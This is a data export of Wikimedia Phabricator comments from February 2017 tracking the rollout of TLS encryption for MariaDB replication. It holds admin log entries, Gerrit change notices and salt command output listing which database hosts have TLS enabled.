+805791,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoerpJFHQCSeVEJfJQP} [2017-02-08T17:04:01Z] <jynus> rolling restart of replication thread of 29 mysql hosts T111654",,,1486573442,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805779,Set up TLS for MariaDB replication,"TLS is now deployed on all core servers:
+```
+root@neodymium:~$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""'
+db1071.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1041.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1030.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1045.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1037.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1076.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1022.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1067.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1092.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1074.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1063.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1029.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1084.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1082.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1091.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1018.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1015.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1077.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1080.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1012.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1090.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1061.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1089.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1083.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1052.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1013.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1068.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1060.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1081.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1011.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1094.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1053.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1086.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1087.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1054.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1051.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1070.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1085.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1073.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1078.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1079.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1093.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1075.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1015.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1088.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1016.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1065.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1033.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1028.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1057.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1056.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1062.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1050.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1024.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1035.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1059.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1014.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1026.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1023.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1018.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1039.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1019.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1064.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1040.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1031.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1021.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1036.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1044.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1034.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1066.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2029.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2011.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2018.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2067.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2038.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2019.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2041.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2019.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2013.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2063.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2045.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2017.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2065.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2064.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1049.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2048.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2058.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2042.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2039.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2012.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2033.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2034.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2054.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2043.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2061.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2014.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2057.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2070.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2049.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2046.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2040.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2060.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2037.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2069.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2066.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2047.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2044.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2053.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2036.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2056.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2068.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2050.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2055.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2062.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2059.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2035.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es1017.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2016.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2018.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2028.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1072.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2051.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2052.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1055.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db1038.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2016.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+db2023.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2017.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+es2015.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
+```
+
+Enabling it on all pending hosts:
+```
+
+
+db1028.eqiad.wmnet:            Master_SSL_Allowed: No
+db1077.eqiad.wmnet:            Master_SSL_Allowed: No
+db1034.eqiad.wmnet:            Master_SSL_Allowed: No
+db1067.eqiad.wmnet:            Master_SSL_Allowed: No
+db1044.eqiad.wmnet:            Master_SSL_Allowed: No
+es1013.eqiad.wmnet:            Master_SSL_Allowed: No
+db1065.eqiad.wmnet:            Master_SSL_Allowed: No
+es1017.eqiad.wmnet:            Master_SSL_Allowed: No
+db1078.eqiad.wmnet:            Master_SSL_Allowed: No
+db1055.eqiad.wmnet:            Master_SSL_Allowed: No
+db2067.codfw.wmnet:            Master_SSL_Allowed: No
+db2065.codfw.wmnet:            Master_SSL_Allowed: No
+db2044.codfw.wmnet:            Master_SSL_Allowed: No
+db2057.codfw.wmnet:            Master_SSL_Allowed: No
+db2038.codfw.wmnet:            Master_SSL_Allowed: No
+db2052.codfw.wmnet:            Master_SSL_Allowed: No
+db2035.codfw.wmnet:            Master_SSL_Allowed: No
+db2059.codfw.wmnet:            Master_SSL_Allowed: No
+db2048.codfw.wmnet:            Master_SSL_Allowed: No
+db2069.codfw.wmnet:            Master_SSL_Allowed: No
+db2051.codfw.wmnet:            Master_SSL_Allowed: No
+db2037.codfw.wmnet:            Master_SSL_Allowed: No
+db2070.codfw.wmnet:            Master_SSL_Allowed: No
+db2058.codfw.wmnet:            Master_SSL_Allowed: No
+db2062.codfw.wmnet:            Master_SSL_Allowed: No
+db2068.codfw.wmnet:            Master_SSL_Allowed: No
+db2066.codfw.wmnet:            Master_SSL_Allowed: No
+db2056.codfw.wmnet:            Master_SSL_Allowed: No
+db2055.codfw.wmnet:            Master_SSL_Allowed: No
+```",,,1486572686,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1
+805744,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoehXJ6HQCSeVEJfJOi} [2017-02-08T16:19:06Z] <jynus> upgrading and restarting db1030 T111654",,,1486570747,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+805739,Set up TLS for MariaDB replication,"Change 336636 merged by jenkins-bot:
+mariadb: Depool db1030 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336636]]",,,1486570182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805732,Set up TLS for MariaDB replication,"Change 336636 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db1023 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336636]]
+",,,1486569749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805657,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoeFiVSHQCSeVEJfJKA} [2017-02-08T14:17:32Z] <jynus> upgrading and restarting db1026 T111654",,,1486563452,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+805631,Set up TLS for MariaDB replication,"Change 336620 merged by jenkins-bot:
+mariadb: Depool db1026 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336620]]",,,1486561075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805607,Set up TLS for MariaDB replication,"Change 336620 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db1026 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336620]]
+",,,1486558268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805594,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVodqEDwQMK9DA-FJ_DO} [2017-02-08T12:17:30Z] <jynus> upgrading and restarting db1037 T111654",,,1486556250,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+805589,Set up TLS for MariaDB replication,"Change 336609 merged by Jcrespo:
+mariadb: Depool db1037 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336609]]",,,1486555963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805586,Set up TLS for MariaDB replication,"Change 336609 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db1037 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336609]]
+",,,1486555766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805558,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVodTuaTlCyyDMEPvJNz} [2017-02-08T10:39:54Z] <jynus> upgrading and restarting db1045 T111654",,,1486550395,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+805554,Set up TLS for MariaDB replication,"Change 336601 merged by jenkins-bot:
+mariadb: Depool db1045 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336601]]",,,1486550054,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805546,Set up TLS for MariaDB replication,"Change 336601 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db1045 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336601]]
+",,,1486549246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805362,Set up TLS for MariaDB replication,"After resolving T152188, pending hosts:
+
+```
+
+$ sudo salt --output=txt -C 'G@cluster:mysql' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""' | grep NULL
+db1020.eqiad.wmnet: NULL
+db1001.eqiad.wmnet: NULL
+db1037.eqiad.wmnet: NULL
+labsdb1003.eqiad.wmnet: NULL
+db1009.eqiad.wmnet: NULL
+db1016.eqiad.wmnet: NULL
+db1026.eqiad.wmnet: NULL
+db1030.eqiad.wmnet: NULL
+labsdb1001.eqiad.wmnet: NULL
+db1045.eqiad.wmnet: NULL
+db1069.eqiad.wmnet: NULL
+```
+
+Some of those will be decomissioned very soon and probably never deployed TLS. Counting only core dbs:
+
+
+```
+$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""' | grep NULL
+db1045.eqiad.wmnet: NULL
+db1037.eqiad.wmnet: NULL
+db1026.eqiad.wmnet: NULL
+db1030.eqiad.wmnet: NULL
+
+```",,,1486513703,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1
+803336,Set up TLS for MariaDB replication,"Completed auto-reimage of hosts:
+```
+['db2039.codfw.wmnet']
+```
+
+and were **ALL** successful.
+
+",,,1486141753,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+803317,Set up TLS for MariaDB replication,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
+```
+['db2039.codfw.wmnet']
+```
+The log can be found in `/var/log/wmf-auto-reimage/201702031641_jynus_2666.log`.",,,1486140133,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+803250,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoEftvnHQCSeVEJfH1u} [2017-02-03T15:01:47Z] <jynus> preparing to reimage db2039 T111654",,,1486134107,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+803237,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoEYqX-lCyyDMEPvH7O} [2017-02-03T14:30:58Z] <jynus> upgrade and restart db2061 T111654",,,1486132258,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+803226,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoERIadlCyyDMEPvH6U} [2017-02-03T13:58:04Z] <jynus> restarting and upgrading db2041 T111654",,,1486130284,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+803192,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDtO0VQMK9DA-FJ9o1} [2017-02-03T11:21:13Z] <jynus> preparing to reimage db2054 T111654",,,1486120873,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
